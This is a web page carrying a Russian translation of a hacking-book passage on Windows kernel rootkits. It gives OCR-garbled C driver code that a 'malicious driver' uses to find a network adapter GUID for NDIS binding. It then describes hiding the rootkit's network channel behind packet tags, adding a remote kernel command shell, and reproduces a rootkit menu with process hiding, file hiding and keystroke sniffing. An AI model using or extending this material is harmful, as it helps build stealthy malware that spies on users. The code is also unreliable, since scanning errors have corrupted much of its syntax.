На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Обнаружение нужного сетевого адаптера

В операционной системе Windows информация о сетевых адаптерах хранится в следующем ключе реестра.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards
В этом ключе доступно несколько пронумерованных значений подключей. Каждое число соответствует сетевому адаптеру. В каждом подключе хранится очень важное значение ServiceName. Это значение представляет собой строку, в которой содержится идентификатор GUID, необходимый для доступа к сетевому адаптеру. Нашему вредоносному драйверу нужно предоставить одну из этих GUID-строк, чтобы установить привязку к сетевому адаптеру посредством NDIS.
В следующем фрагменте кода мы получаем GUID-значение для первого в списке сетевого интерфейса9.
/* Основная работа по получению значения поцключа */
NTSTATUS
EnumSubkeys(
IN PWSTR theRegistryPath,
IN PUN1C0DE_STRING theStringP
) 1
основному ключу
//------------
// для доступа HANDLE hKey; OBJECT^ATTRIBUTES oa; NTSTATUS Status; UNICODE STRING ParentPath
// для получения подклгача KEY_BASIC_INFORMATION Info; PKEYBASI CONFORMATION plnfo; ULONG ResultLength; ULONG Size; PWSTR Position; PWSTR FullNarae;
// для запроса значения
RTL_QUERY_REGISTRi_TABLE aParamTable[2];
//----------------------------------------------
DbgPrint ("rootkit: введенная EnumSubkeys()\n"); _try
RtllnitUnicodeString (&ParentPath, theRegistryPath); /*
** Сначала попытаемся открыть этот ключ */
InitializeObjectAttributes(4оа,
&ParentPath,
OBJ_CASE_INSENSITIVE,
NULL,
(PSECURITY_DESCRIPTOR)NULL);
Status = ZwOpenKey(ShKey,
KEY_READ, soa) ;
if (!NT_SUCCESS(Status)) ( return Status;
I
/*
** Сначала определяем размер данных подключа. Ч
Status = ZwEnumerateKey(hKey,
О,
KeyBasicInformation, SInfo,
sizeof(Info), iResultLength);
if (Status == STATUS_NO_MORE_ENTRIES II NT_ERROR(Status)) ( return Status;
I
Size = Infо.NameLength + FIELD_OFFSET(KEY_BASIC_INFORMATION, Name[0]);
plnfo = (PKEY_BASIC_INFORMATION)
ExAllocatePool(PagedPool, Size);
if (plnfo == NULL) (
Status = STATUS_INSUFFICIENT_RESOURCES; return Status;
)
/*
** Теперь вычисляем первый подключ. */
Status = ZwEnumerateKey(hKey,
0,
KeyBasicInformation,
plnfo,
Size,
SResultLength); if (!NT_SUCCESS(Status)) (
ExFreePool((PVOID)plnfo); return Status;
)
if (Size != ResultLength) ( ExFreePool((PVOID)plnfo); Status = STATUS_INTERNAL_ERROR; return Status;
1
/*
** Генерируем полное имя и значения запросов. */

FullName = ExAllocatePool(PagedPool,
ParentPath.Length + sizeof(WCHAR) 4 // ' V
plnfo->NameLength + sizeof(UNICODE_NULL));
if (FullName == NULL) {
ExFreePool((PVOID)plnfo);
return STATUS_INSUFFICIENT_RESOURCES;
)
RtlCopyMemory((PVOID)FullName,
(PVOID)ParentPath.Buffer,
ParentPath.Length); Position = FullName + ParentPath.Length / sizeof(WCHAR); Positional = 'W; Position++;
RtlCopyMemory((PVOID)Position,
(PVOID)pInfo->Name,
plnfo->NameLength); Position += plnfo->NameLength / sizeof(WCHAR);
Position [0] = UNICODE_NULL; ExFreePool((PVOID)plnfo);
/*
** Получение значения для привязки. * *
*/
RtlZeroMemory( SaParamTable[0], sizeof(aParamTable) );
aParamTable [0] . Flags = RTL_QUERY_REGISTRY_DIRECT
RTL_QUERY_REGISTRY_REQUIRED; aParamTable[0].Name = L"ServiceName";
aParamTable[0].EntryContext = theStringP; /* будет выделено */
// Поскольку мы используем REQUIRED и DIRECT, //не нужно использовать значения по умолчанию. // Важное замечание!,последняя запись ALL NULL,
// необходима, чтобы узнать об окончании вызова. НЕ забывайте об этом!
Status=RtlQueryRegistryValues( RTL_REGISTRY_ABSOLUTE I RTL_REGISTRY_OPTIONAL, FullName, SaParamTable[0], NULL, NULL );
ExFreePool((PVOID)FullName); return (Status);
)
_except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("rootkit: Исключение в EnumSubkeys() . 'Jj Неизвестная ошибка.\n"); )
return STATUS__UNSUCCESSFUL; )
/* _
. В этом коде осуществляется чтение реестра с целью определить
. имя адаптера для сетевого интерфейса. Берется первое зарегистрированное имя
. независимо от общего количества. Лучше установить привязку
. ко всем именам, для простоты мы использовали только первое.
. _ */
NTSTATUS ReadRegistry( IN PUNICODE_STRING theBindingName ) {
NTSTATUS aStatus;
UNICODE_STRING aString;

DbgPrint("ROOTKIT; вызывается ReadRegistry \n"); _try {
aString.Length ■ 0;
aString.Buffer = ExAllocatePool! PagedPool, MAX_PATH__LENGTH ); Ч> /* осободи меня */
aString.MaximumLength - MAX_PATHLENGTH; RtlZeroMemory(aString.Buffer, MAX_PATH_LENGTH); aStatus ■ EnumSubkeys( <Ь L"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\WindOws" \
Ь "NT\\CurrentVersion\\NetworkCards", SaString ) ; if (!NT_SUOCESS(aStatus) ) {
DbgPrint(( "rootkit: ошибка в функции RtlQueryRegistryValues Ч> Code - 0x%0x\n",aStatus) ) ;
else)
RtlAppendUnicodeToString(theBindingName, L"\\Device\\"); RtlAppendUnicodeStringToString(theBindingName, baString); ExFreePool(aString.Buffer); return aStatus; /* were good */
return aStatus; /* last error */
_except(EXCE PTION_EXECUTE_HANDLER)
DbgPrint("rootkit: В ReadRegistry() произошло исключение. % Неизвестная ошибка. \n"l;
return STATUS_UNSUCCESSFUL;
Использовние тегов boron для обеспечения безопасности хакера
Одна из полезных уловок хакера для сокрытия сетевого интерфейса, открытого с помощью набора средств для взлома, заключается в запросе определенного порта отправителя или значения идентификатора IP (IP ID) еще до того, как программа набора средств для взлома ответит на этот пакет. Эту идею можно расширить вплоть до необходимости наличия каких-либо данных в пакете, но основной смысл в том, что необходимо владеть определенной информацией, чтобы заставить потайную программу ответить на пакет. Не забывайте, что программа из набора средств для взлома может быть скомпилирована и настроена любым человеком, поэтому выбор маскировки зависит только от воображения хакера.
Добавление интерактивного командного интерпретататора
Набор средств для взлома позволяет установить командный интерпретатор с удаленным доступом по TCP/IP непосредственно в ядро системы. Ниже приведен пример из меню, предоставляемого одним из наборов средств для взлома, доступных по адресу www. rootkit. com.
Win2K Rootkit by the team rootkit.com Version 0.4 alpha
команда описание

ps
help
buffertest hidedir hideproc debugint sniffkeys echo <string>
показать список процессов приведенная здесь информация результы отладки
скрыть файл/каталог, начинающийся с корневой строки скрыть процесс, начинающийся с корневой строки
(BSOD)fire int3
включить перехват нажатий клавиатуры: команда echo для данной строки *(BSOD) означает Blue Screen of Death (голубой экран смерти) при отсутствии отладчика ядра! * под "корневой строкой" подразумевается,
что имя процесса или файла начинается с символов '_root_'.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика